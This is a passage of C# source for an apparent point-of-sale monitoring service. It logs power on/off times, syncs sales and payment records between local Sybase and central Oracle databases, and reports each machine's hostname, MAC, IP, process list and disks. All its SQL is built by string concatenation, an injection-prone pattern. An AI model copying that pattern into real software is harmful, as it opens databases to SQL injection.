"SALESPROMOTE_ENDDATE,SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,TICKET_PREFIX,SALESPROMOTE_DATE)" + // "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE + // "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP + "','" + FLAG + // "','" + TICKET_PREFIX + "','" + SALESPROMOTE_DATE + "');"; // OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany); // INSERTCMD.ExecuteNonQuery(); // } // else // { // string MACHINECODE = rd["MACHINECODE"].ToString(); // string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,MACHINECODE,SALESPROMOTE_STARTDATE," + // "SALESPROMOTE_ENDDATE,SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,SALESPROMOTE_DATE)" + // "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + ",'" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE + // "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP + "','" + FLAG + "','" + SALESPROMOTE_DATE + "');"; // OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany); // INSERTCMD.ExecuteNonQuery(); // } // } // else // { // if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString())) // { // string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString(); // string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,SALESPROMOTE_STARTDATE,SALESPROMOTE_ENDDATE," + // "SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,TICKET_PREFIX,SALESPROMOTE_DATE)" + // "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE + // "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP + // "','" + FLAG + "','" + TICKET_PREFIX + "','" + SALESPROMOTE_DATE + "');"; // OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany); // INSERTCMD.ExecuteNonQuery(); // } // else // { // string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,SALESPROMOTE_STARTDATE,SALESPROMOTE_ENDDATE," + // "SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,SALESPROMOTE_DATE)" + // "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE + // "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP + // "','" + FLAG + "','" + SALESPROMOTE_DATE + "');"; // OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany); // INSERTCMD.ExecuteNonQuery(); // } // } // } // } // conany.Close(); // } // } // } // conn.Close(); // conn.Dispose(); //} //catch (Exception ex) //{ // LogHelper.WriteServiceLog("T_SALESPROMOTE:" + ex.Message); // conany.Close(); // conn.Close(); // conn.Dispose(); //} #endregion #region 方法->记录开关机时间 List _insertstr = new List(); string _shutdown = GetLogDateTime("System", 6006, DateTime.Now, false); string _shutup = GetLogDateTime("System", 6005, DateTime.Now, false); string _shutdownstr, _shutupstr, _maxid; _maxid = "select max(exception_id) from t_exception"; if (_shutdown != "") { _shutdownstr = "select 1 from t_exception where commodity_code = '" + _shutdown + "' and exceptiontype = 9013 and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";//关机时间 try { if (Lib.SyBaseHelper.QueryOdbc(_shutdownstr).Tables[0].Rows.Count == 0) { int.TryParse(Lib.SyBaseHelper.QueryOdbc(_maxid).Tables[0].Rows[0][0].ToString(), out int _Maxid); string _sqlstr = "insert into t_exception (exception_id,exception_date,serverpartcode,shopcode,machinecode,exceptiontype," + "commodity_code,exceptioncount,exceptionamount) values(" + (_Maxid + 1) + ",datetime('" + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") + "'),'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "',9013,'" + _shutdown + "',0,0)"; Lib.SyBaseHelper.ExecuteSqlTran(_sqlstr); } } catch (Exception ex) { LogHelper.WriteServiceLog("shutdowntime:" + ex.Message); } } if (_shutup != "") { _shutupstr = "select 1 from t_exception where commodity_code = '" + _shutup + "' and exceptiontype = 9014 and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";//开机时间 try { if (Lib.SyBaseHelper.QueryOdbc(_shutupstr).Tables[0].Rows.Count == 0) { int.TryParse(Lib.SyBaseHelper.QueryOdbc(_maxid).Tables[0].Rows[0][0].ToString(), out int _Maxid); string _sqlstr = "insert into t_exception (exception_id,exception_date,serverpartcode,shopcode,machinecode,exceptiontype," + "commodity_code,exceptioncount,exceptionamount) values(" + (_Maxid + 1) + ",datetime('" + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") + "'),'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "',9014,'" + _shutup + "',0,0)"; Lib.SyBaseHelper.ExecuteSqlTran(_sqlstr); } } catch (Exception ex) { LogHelper.WriteServiceLog("shutuptime:" + ex.Message); } } #endregion conn.Dispose(); } catch (Exception ex) { try { LogHelper.WriteServiceLog("Timeinfocheck_Tick:" + ex.Message + "\r\n" + SqlString); } catch { } conn.Close(); conn.Dispose(); } } #endregion #region 线程 --> 检测数据上传情况 private void DoWork_Handler(object sender, DoWorkEventArgs args) { string _selectsql; DataTable _localdata = new DataTable(); DataTable _serverdata = new DataTable(); DataTable _updatedata = new DataTable(); DataTable _DataUpdate = new DataTable(); DataSet _ServerDataSet = new DataSet(); DataSet _LocalDataSet = new DataSet(); string endaccountday = GetValue("endaccounttimes"); if (endaccountday == "") endaccountday = "20"; //string constr = "DSN=anysql1;UID=dba;PWD=sql;"; //OdbcConnection _OdbcConnection = new OdbcConnection(constr); #region 获取服务器已有数据 using (OracleConnection _oracleconn = QueryOracle()) { //获取结账数据 _selectsql = "SELECT ENDACCOUNT_ID AS ID, ENDACCOUNT_STARTDATE AS STARTDATE, ENDACCOUNT_DATE AS ENDDATE, " + "SERVERPARTCODE, SHOPCODE, MACHINECODE, FLAG FROM " + dbname + ".T_ENDACCOUNT " + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'AND ENDACCOUNT_DATE > TO_DATE('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS') AND ENDACCOUNT_DATE IS NOT NULL"; try { OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn); _OracleDataAdapter.Fill(_ServerDataSet, "T_ENDACCOUNT"); } catch (Exception ex) { LogHelper.WriteServiceLog("日结服务器数据:" + ex.Message); } //获取交班数据 _selectsql = "SELECT PERSONSELL_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, STARTDATE, ENDDATE FROM " + dbname + ".T_PERSONSELL " + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > TO_DATE('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS') AND ENDDATE IS NOT NULL"; try { OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn); _OracleDataAdapter.Fill(_ServerDataSet, "T_PERSONSELL"); } catch (Exception ex) { LogHelper.WriteServiceLog("交班服务器数据:" + ex.Message); } //获取单品集合数据 _selectsql = "SELECT TRANSFER_ID AS ID, SERVERPARTCODE, SHOPCODE, STARTDATE, ENDDATE, TRANSFER_FIRSTDATAS,TRANSFER_THIRTEENTHDATAS, " + "TRANSFER_FOURTEENTHDATAS, TRANSFER_FIFTEENTHDATAS FROM " + dbname + ".T_TRANSFER_SALE" + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > TO_DATE('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS') AND ENDDATE IS NOT NULL"; try { OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn); _OracleDataAdapter.Fill(_ServerDataSet, "T_TRANSFER_SALE"); } catch (Exception ex) { LogHelper.WriteServiceLog("单品集合服务器数据:" + ex.Message); } //获取移动支付数据 _selectsql = "SELECT MOBILE_PAY_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, WORKERCODE, MOBILEPAY_DATE AS ENDDATE, " + "MOBILEPAY_TYPE, TICKET_CODE, TICKET_AMOUNT, MOBILEPAY_RESULT, MOBILEPAY_FEEDBACK FROM " + dbname + ".T_MOBILE_PAY" + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'AND MOBILEPAY_DATE > TO_DATE('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS')"; try { OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn); _OracleDataAdapter.Fill(_ServerDataSet, "T_MOBILE_PAY"); } catch (Exception ex) { LogHelper.WriteServiceLog("移动支付服务器数据:" + ex.Message); } } #endregion #region 获取本地数据 //获取结账数据 _selectsql = "SELECT ENDACCOUNT_ID AS ID, ENDACCOUNT_STARTDATE AS STARTDATE, ENDACCOUNT_DATE AS ENDDATE, " + "SERVERPARTCODE, SHOPCODE, MACHINECODE, FLAG FROM T_ENDACCOUNT " + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'AND ENDACCOUNT_DATE > DATETIME('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "') AND ENDACCOUNT_DATE IS NOT NULL"; try { //OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection); //_OdbcDataAdapter.Fill(_LocalDataSet, "T_ENDACCOUNT"); _LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_ENDACCOUNT").Tables[0].Copy()); } catch (Exception ex) { LogHelper.WriteServiceLog("日结本地数据:" + ex.Message); } //获取交班数据 _selectsql = "SELECT PERSONSELL_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, STARTDATE, ENDDATE FROM T_PERSONSELL " + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > DATETIME('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "') AND ENDDATE IS NOT NULL"; try { //OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection); //_OdbcDataAdapter.Fill(_LocalDataSet, "T_PERSONSELL"); _LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_PERSONSELL").Tables[0].Copy()); } catch (Exception ex) { LogHelper.WriteServiceLog("交班本地数据:" + ex.Message); } //获取单品集合数据 _selectsql = "SELECT TRANSFER_ID AS ID, SERVERPARTCODE, SHOPCODE, STARTDATE, ENDDATE, TRANSFER_FIRSTDATAS," + "TRANSFER_THIRTEENTHDATAS, TRANSFER_FOURTEENTHDATAS, TRANSFER_FIFTEENTHDATAS FROM T_TRANSFER_SALE" + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > DATETIME('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "') AND ENDDATE IS NOT NULL"; try { //OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection); //_OdbcDataAdapter.Fill(_LocalDataSet, "T_TRANSFER_SALE"); _LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_TRANSFER_SALE").Tables[0].Copy()); } catch (Exception ex) { LogHelper.WriteServiceLog("单品集合本地数据:" + ex.Message); } //获取移动支付数据 _selectsql = "SELECT MOBILE_PAY_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, WORKERCODE, MOBILEPAY_DATE AS ENDDATE, " + "MOBILEPAY_TYPE, TICKET_CODE,TICKET_AMOUNT, MOBILEPAY_RESULT, MOBILEPAY_FEEDBACK FROM T_MOBILE_PAY" + " WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'AND MOBILEPAY_DATE > DATETIME('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "')"; try { //OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection); //_OdbcDataAdapter.Fill(_LocalDataSet, "T_MOBILE_PAY"); _LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_MOBILE_PAY").Tables[0].Copy()); } catch (Exception ex) { LogHelper.WriteServiceLog("移动支付本地数据:" + ex.Message); } #endregion #region 检测已上传数据并记录至数据上传表 if (_ServerDataSet.Tables.Count > 0 && _LocalDataSet.Tables.Count > 0) { _selectsql = "SELECT dataupdate_id, serverpartcode, shopcode, machinecode, data_id, data_date, data_type, update_date, update_state,update_checknum, dataupdate_desc FROM t_dataupdate"; try { _DataUpdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(_selectsql).Tables[0]; } catch { } foreach (DataTable _DataTable in _ServerDataSet.Tables) { _serverdata = ConvertOraclTableToDoNetTable(_DataTable); _localdata = _LocalDataSet.Tables[_DataTable.TableName]; var _query = _serverdata.AsEnumerable().Intersect(_localdata.AsEnumerable(), DataRowComparer.Default); if (_query.Count() > 0) { decimal maxid = 0; try { maxid = decimal.Parse(ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(dataupdate_id) from t_dataupdate").Tables[0].Rows[0][0].ToString()); } catch { maxid = 0; } string _insertsql = "INSERT INTO t_dataupdate (dataupdate_id, serverpartcode, shopcode, machinecode, data_id, data_date, data_type, update_date, update_state) VALUES "; string _insertvalues = ""; _updatedata = _query.CopyToDataTable(); _updatedata.TableName = _serverdata.TableName; //_OdbcConnection.Open(); //int i = 0; for (int i = 0; i < _updatedata.Rows.Count; i++) { string _datetype = GetDataType(_updatedata); if (_datetype != "") { if (_datetype == "1001,1002") { _datetype = (_updatedata.Rows[i]["FLAG"].ToString() == "5" ? "1002" : "1001"); } if (_DataUpdate.Select("data_id = " + _updatedata.Rows[i]["ID"] + " and data_date = '" + _updatedata.Rows[i]["ENDDATE"] + "' and data_type = " + _datetype).Count() == 0) { maxid++; _insertvalues += (_insertvalues == "" ? "" : ",") + "(" + maxid + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "'," + _updatedata.Rows[i]["ID"].ToString() + ",DATETIME('" + _updatedata.Rows[i]["ENDDATE"].ToString() + "')," + _datetype + ",DATETIME('" + DateTime.Now.ToString() + "'),1)"; } if ((i + 1) % 10 == 0 && _insertvalues != "") { try { Lib.SyBaseHelper.ExecuteSqlTran(_insertsql + _insertvalues); //OdbcCommand _OdbcCommand = new OdbcCommand(_insertsql + _insertvalues, _OdbcConnection); //_OdbcCommand.ExecuteNonQuery(); _insertvalues = ""; } catch { _insertvalues = ""; } try { maxid = decimal.Parse(ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(dataupdate_id) from t_dataupdate").Tables[0].Rows[0][0].ToString()); } catch { maxid = 0; } } else if (i + 1 == _updatedata.Rows.Count && _insertvalues != "") { try { //OdbcCommand _OdbcCommand = new OdbcCommand(_insertsql + _insertvalues, _OdbcConnection); //_OdbcCommand.ExecuteNonQuery(); Lib.SyBaseHelper.ExecuteSqlTran(_insertsql + _insertvalues); _insertvalues = ""; } catch { _insertvalues = ""; } } } } //_OdbcConnection.Close(); } } } #endregion } #endregion #region 测试连接 (旧) private void btnCheck_Click_1(object sender, EventArgs e) { try { OracleConnection conn = this.QueryOracle(); conn.Open(); conn.Close(); conn.Dispose(); } catch (Exception ex) { LogHelper.WriteServiceLog(ex.Message); } } #endregion #region 计算机基本信息 private void MyComputer_Load(object sender, EventArgs e) { base.Hide(); bool isContents = false; OracleConnection conn = QueryOracle(); DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString()); #region //获取计算机名 lblDan.Text = null; List Address = new List(); Stopwatch watch = Stopwatch.StartNew(); string Hostname = Dns.GetHostName(); lblComPName.Text = Hostname; #endregion #region //获取MAC地址 ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration"); ManagementObjectCollection moc = mc.GetInstances(); //foreach (ManagementObject mo in moc) //{ // if ((bool)mo["IPEnabled"] == true) // { // lblMACAdress.Text = mo["MacAddress"].ToString(); // break; // } //} string key = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\"; string macAddress = string.Empty; try { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); foreach (NetworkInterface adapter in nics) { if (adapter.NetworkInterfaceType == NetworkInterfaceType.Ethernet && adapter.GetPhysicalAddress().ToString().Length != 0) { string fRegistryKey = key + adapter.Id + "\\Connection"; RegistryKey rk = Registry.LocalMachine.OpenSubKey(fRegistryKey, false); if (rk != null) { string fPnpInstanceID = rk.GetValue("PnpInstanceID", "").ToString(); int fMediaSubType = Convert.ToInt32(rk.GetValue("MediaSubType", 0)); if (fPnpInstanceID.Length > 3 && fPnpInstanceID.Substring(0, 3) == "PCI") { macAddress = adapter.GetPhysicalAddress().ToString(); for (int i = 1; i < 6; i++) { macAddress = macAddress.Insert(3 * i - 1, ":"); } lblMACAdress.Text = macAddress; break; } } } } } catch (Exception ex) { LogHelper.WriteServiceLog("MAC获取:" + ex.Message); } #endregion #region //获取IP地址 try { IPAddress[] addressList = Dns.GetHostEntry(Dns.GetHostName()).AddressList; for (int i = 0; i < addressList.Length; i++) { IPAddress _IPAddress = addressList[i]; if (_IPAddress.AddressFamily.ToString() == "InterNetwork") { lblIPAdress4.Text = _IPAddress.ToString(); } } } catch { lblIPAdress4.Text = "127.0.0.1"; } #endregion #region //获取进程信息 List list = new List(); string user = Environment.UserName; Pro pr = new Pro(); Process[] process = Process.GetProcesses(); foreach (Process p in process) { if (Pro.GetProcessUserName(p.Id) == user) { list.Add(p.ProcessName); } } string prolist = string.Join("|", list.ToArray()); lblProcess.Text = prolist.ToString(); #endregion #region 插入收银机信息 try { string _mac = GetMacAddressByNetworkInformation(); if (_mac != string.Empty && lblIPAdress4.Text != "127.0.0.1" && lblIPAdress4.Text != "IPv4") { conn.Open(); string sqlcheck = "select * from " + dbname + ".T_MACHINEINFO where MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand ocmchenk = new OracleCommand(sqlcheck, conn); OracleDataReader concheck = ocmchenk.ExecuteReader(); if (!concheck.HasRows) { string sqlsave = @"insert into " + dbname + ".T_MACHINEINFO values (" + dbname + ".SEQ_MACHINEINFO.Nextval,'" + serverpartcode + "','" + shopcode + "','" + dbip + "','" + machinecode + "','" + lblComPName.Text + "','" + _mac + "','" + lblIPAdress4.Text + "',to_date('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),1)"; OracleCommand ocm = new OracleCommand(sqlsave, conn); ocm.ExecuteNonQuery(); } conn.Close(); //conn.Dispose(); } } catch (Exception ex) { LogHelper.WriteServiceLog("插入收银机信息:" + ex.Message); } #endregion #region 获取硬盘信息 Hardisk hard = new Hardisk(); try { string j = hard.GetHDIndex(); lblHardDiskInfo.Text = hard.GetHDIndex(); List listInfo = GetDiskListInfo(); if (listInfo != null && listInfo.Count > 0) { foreach (hardiskPartition disk in listInfo) { harddiskinfo.Items.Add(string.Format("{0}总空间:{1} GB,未用:{2} GB", disk.PartitionName, ManagerDoubleValue(disk.SumSpace, 1), ManagerDoubleValue(disk.FreeSpace, 1))); } } } catch (Exception ex) { LogHelper.WriteServiceLog("获取硬盘信息:" + ex.Message); } #endregion #region 修改IP,网关 //try //{ // conn.Open(); // isContents = true; // if (isContents) // { // string MACHINEINFOStr = "SELECT * FROM " + dbname + ".T_MACHINEINFO WHERE MACHINE_MACADDRESS = '" + lblMACAdress.Text + "'"; // OracleCommand MACHINEINFO = new OracleCommand(MACHINEINFOStr, conn); // OracleDataReader machineinfoRead = MACHINEINFO.ExecuteReader(); // if (machineinfoRead.HasRows) // { // while (machineinfoRead.Read()) // { // string MACHINE_IP = machineinfoRead["MACHINE_IP"].ToString(); // string SERVER_IP = machineinfoRead["SERVER_IP"].ToString(); // if (lblIPAdress4.Text != MACHINE_IP) // { // ManagementBaseObject inPar = null; // ManagementBaseObject outPar = null; // foreach (ManagementObject mo in moc) // { // //如果没有启用IP设置的网络设备则跳过 // if (!(bool)mo["IPEnabled"]) // continue; // //设置IP地址和掩码 // inPar = mo.GetMethodParameters("EnableStatic"); // inPar["IPAddress"] = MACHINE_IP.ToString(); // inPar["SubnetMask"] = "255.0.0.0"; // outPar = mo.InvokeMethod("EnableStatic", inPar, null); // //设置网关地址 // inPar = mo.GetMethodParameters("SetGateways"); // inPar["DefaultIPGateway"] = SERVER_IP.ToString(); // outPar = mo.InvokeMethod("SetGateways", inPar, null); // } // } // } // } // conn.Close(); // conn.Dispose(); // } //} //catch (Exception ex) //{ // LogHelper.WriteServiceLog("修改IP:" + ex.Message); //} #endregion } #endregion #region 运行日志 private bool ActiveLogging() { string _strsql = "select max(activelogging_id) from t_activelogging"; string _machinename = Dns.GetHostName(); string _mac = GetMacAddressByNetworkInformation(); string _ip = GetAddressIP(); int maxid = 0; TimeSpan ts = DateTime.Now.Subtract(_RunDateTime); string _ts = Convert.ToDecimal(ts.TotalSeconds).ToString("F0"); //if(decimal.Parse(_ts)%2==0) //{ // KillExe("cmd.exe"); //} if (decimal.Parse(_ts) >= 300) { PresenterCheck(); //CommodityUpdate(); try { maxid = Convert.ToInt32(Lib.SyBaseHelper.QueryOdbc(_strsql).Tables[0].Rows[0][0]); } catch { maxid = 0; } try { string _insertany = "INSERT INTO T_ACTIVELOGGING (ACTIVELOGGING_ID,SERVERPARTCODE, SHOPCODE," + "MACHINECODE,MACHINENAME,MACADDRESS,MACHINE_IP,LOGGING_DATE,RUNNING_INTERVAL)" + " VALUES ( " + (maxid + 1) + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + _machinename + "','" + _mac + "','" + _ip + "',DATETIME('" + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") + "')," + _ts + ")"; Lib.SyBaseHelper.ExecuteSqlTran(_insertany); } catch (Exception ex) { LogHelper.WriteServiceLog("运行日志:" + ex.Message); return false; } return true; } else { return false; } } #endregion #region 营业信息采集 private void BusinessTime(bool isNewSystem = false) { DataTable _selldata; string _sqlstr, ticket_startinfo = "", ticket_endinfo = "", commodity = "", SellDetail = ""; int maxid = 0; string _startdate = "", _enddate = ""; // 单品数:goods_count,客单数:ticket_count,销售数:sell_count,销售额:fact_sum,单笔优惠:offprice,单笔金额:fact_amount decimal goods_count = 0, ticket_count = 0, sell_count = 0, fact_sum = 0, offprice = 0, fact_amount = 0; try { if (isNewSystem) { _sqlstr = string.Format("SELECT STARTDATE AS ENDACCOUNT_STARTDATE,ENDDATE AS ENDACCOUNT_DATE " + "FROM T_ENDACCOUNT_NEW WHERE ENDACCOUNT_CODE = ( SELECT TOP 1 ENDACCOUNT_CODE " + "FROM T_ENDACCOUNT_NEW WHERE ENDDATE IS NOT NULL AND ENDDATE < NOW() AND " + "SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}' AND ENDACCOUNT_TYPE <> 5 " + "ORDER BY ENDACCOUNT_ID DESC)", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } else { _sqlstr = "SELECT ENDACCOUNT_STARTDATE,ENDACCOUNT_DATE FROM T_ENDACCOUNT " + "WHERE ENDACCOUNT_DATE = ( SELECT MAX(ENDACCOUNT_DATE) FROM T_ENDACCOUNT " + "WHERE ENDACCOUNT_DATE IS NOT NULL AND ENDACCOUNT_DATE < NOW() AND " + "SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "' AND FLAG <> 5 ) ORDER BY ENDACCOUNT_ID DESC"; } DataTable dt = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; if (dt.Rows.Count > 0) { string startdate = dt.Rows[0]["ENDACCOUNT_STARTDATE"].ToString(); string enddate = dt.Rows[0]["ENDACCOUNT_DATE"].ToString(); try { if (isNewSystem) { _sqlstr = string.Format("SELECT STARTDATE AS ENDACCOUNT_STARTDATE,ENDDATE AS ENDACCOUNT_DATE " + "FROM T_ENDACCOUNT_NEW WHERE ENDACCOUNT_CODE = ( SELECT TOP 1 ENDACCOUNT_CODE " + "FROM T_ENDACCOUNT_NEW WHERE ENDDATE IS NOT NULL AND ENDDATE < DATETIME('{3}') AND " + "SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}' AND ENDACCOUNT_TYPE <> 5 " + "ORDER BY ENDACCOUNT_ID DESC)", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, enddate); } else { _sqlstr = "SELECT ENDACCOUNT_STARTDATE,ENDACCOUNT_DATE FROM T_ENDACCOUNT " + "WHERE ENDACCOUNT_DATE = ( SELECT MAX(ENDACCOUNT_DATE) FROM T_ENDACCOUNT " + "WHERE ENDACCOUNT_DATE IS NOT NULL AND ENDACCOUNT_DATE < DATETIME('" + enddate + "') AND SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "' AND FLAG <> 5 ) ORDER BY ENDACCOUNT_ID DESC"; } DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; _startdate = _DataTable.Rows[0]["ENDACCOUNT_STARTDATE"].ToString(); _enddate = _DataTable.Rows[0]["ENDACCOUNT_DATE"].ToString(); } catch { } decimal _interval; string _Valuestr = "SELECT CONFIGURATION_NAME,CONFIGURATION_VALUES FROM T_CONFIGURATION " + "WHERE LOWER(CONFIGURATION_NAME) = LCASE('SHUTDOWN_INTERVAL')"; try { using (DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_Valuestr).Tables[0]) { if (_DataTable.Rows.Count > 0) { _interval = decimal.Parse(_DataTable.Rows[0]["configuration_values"].ToString()) * 60; } else { _interval = 1800; } } } catch { _interval = 1800; } string _shutdown = "";// GetLogDateTime("System", 6006, DateTime.Parse(enddate), true); if (_shutdown == "") { string _strsql = "SELECT MAX(LOGGING_DATE) FROM T_ACTIVELOGGING " + "WHERE LOGGING_DATE > DATETIME('" + enddate + "') AND LOGGING_DATE < ( " + "SELECT MIN(LOGGING_DATE) FROM T_ACTIVELOGGING " + "WHERE LOGGING_DATE > DATETIME('" + enddate + "') AND RUNNING_INTERVAL > " + _interval + ")"; _shutdown = ESSupport.Lib.SyBaseHelper.QueryOdbc(_strsql).Tables[0].Rows[0][0].ToString(); } string _shutup = "";// GetLogDateTime("System", 6005, DateTime.Parse(startdate), false); if (_shutup == "") { string _strsql = "SELECT MAX(LOGGING_DATE) FROM T_ACTIVELOGGING WHERE LOGGING_DATE < DATETIME('" + startdate + "')" + (_enddate == "" ? "" : " AND LOGGING_DATE > DATETIME('" + _enddate + "')") + " AND RUNNING_INTERVAL > " + _interval; _shutup = ESSupport.Lib.SyBaseHelper.QueryOdbc(_strsql).Tables[0].Rows[0][0].ToString(); } string _duration = ""; string _string = string.Format("SELECT SUM(RUNNING_INTERVAL) FROM T_ACTIVELOGGING " + "WHERE LOGGING_DATE BETWEEN DATETIME('{0}') AND DATETIME('{1}') AND RUNNING_INTERVAL > {2}", startdate, enddate, _interval); using (DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_string).Tables[0]) { TimeSpan ts = Convert.ToDateTime(enddate).Subtract(Convert.ToDateTime(startdate)); string _ts = Convert.ToDecimal(ts.TotalSeconds).ToString("F0"); _duration 